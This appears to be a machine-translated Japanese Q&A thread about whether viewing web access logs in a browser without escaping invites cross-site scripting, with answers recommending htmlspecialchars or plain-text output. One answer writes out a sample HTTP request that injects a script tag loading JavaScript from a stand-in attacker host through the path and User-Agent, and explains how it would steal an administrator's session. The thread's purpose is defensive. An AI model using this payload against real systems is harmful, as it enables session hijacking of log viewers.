2009-06-26 13 views
5

ウェブブラウザで墨塗りせずにアクセスログを見るのは危険ですか?ウェブブラウザで墨塗りせずにアクセスログを見るのは危険ですか?

私はアクセスログを記録することを検討していますが、私はwevブラウザで表示することを検討していますが、攻撃者がリモートホストやユーザーエージェントなどを変更した場合、

攻撃者のコードをリモートホストやユーザエージェントなどに挿入します。

ウェブブラウザ経由でアクセスログファイルを開く前にhtmlspecialcharでサニタイズする必要がありますか?

私は、攻撃者がリモートホストまたはユーザーエージェントに何らかの攻撃コードを挿入することを意味します。その場合、Webブラウザ経由でそのアクセスログが表示されます。

答えて

3

おそらく出力用にいくつかのHTML書式が必要なので、ログデータをサニタイズ/エンコードする必要があります。しかし、議論のために:もしあなたがtext/plainとして出力を送るなら、クライアントはhtml/javascriptを解析するはずがありません。
など。

<?php 
header('Content-type: text/plain; charset=utf-8'); 
echo '<script>alert(document.URL);</script>';
の出力は
<script>alert(document.URL);</script>
(少なくともFF3、IE8、opera、safariでは)と表示されます。

+1

ええ、ありがとう。それでは、ログファイルの拡張子を "txt"にするのがよいので、私は安全です。 –

+0

"log.txt"は安全ですが、 "log.html"は危険です。 –

+0

"log.txt"が実際に解決策になるのはなぜ "php php5"とタグ付けされた質問ですか? – VolkerK

4

理論的には可能です。はい、あなたは正しい考え方を持ってそのように考えることができます。コントロールされていない入力をWebブラウザに表示する前に消毒することは、常に良い考えです。

ログ出力をhtmlspecialchars()で実行します。

5

はい、危険です。

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1 
Host: www.example.com 
Connection: close 
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script> 

をし、悪意のあるJavaScriptであなたのビューページを危うく:

たとえば、悪意のあるユーザーは、ちょうどこのような何かを要求することができます。

あなたはおそらくサイトのログを表示しているので、管理者権限を持つアカウントとしてログインしています。悪質なJavaScriptを使用して、攻撃者はセッションクッキーを盗むことができますし、ログインしているときに行うことができますすべてのものと完全にあなたのセッションを引き継ぐ。

だから、結論では、あなたのすべき間違いエスケープアクセスログページを、しない限り、管理者のアカウントが侵害されるのが好きです。

+0

私はサーバログでこれを試してみたので、スクリプトの一部をウェブページで見る前にそのスクリプトを消毒しています。 –

関連する問題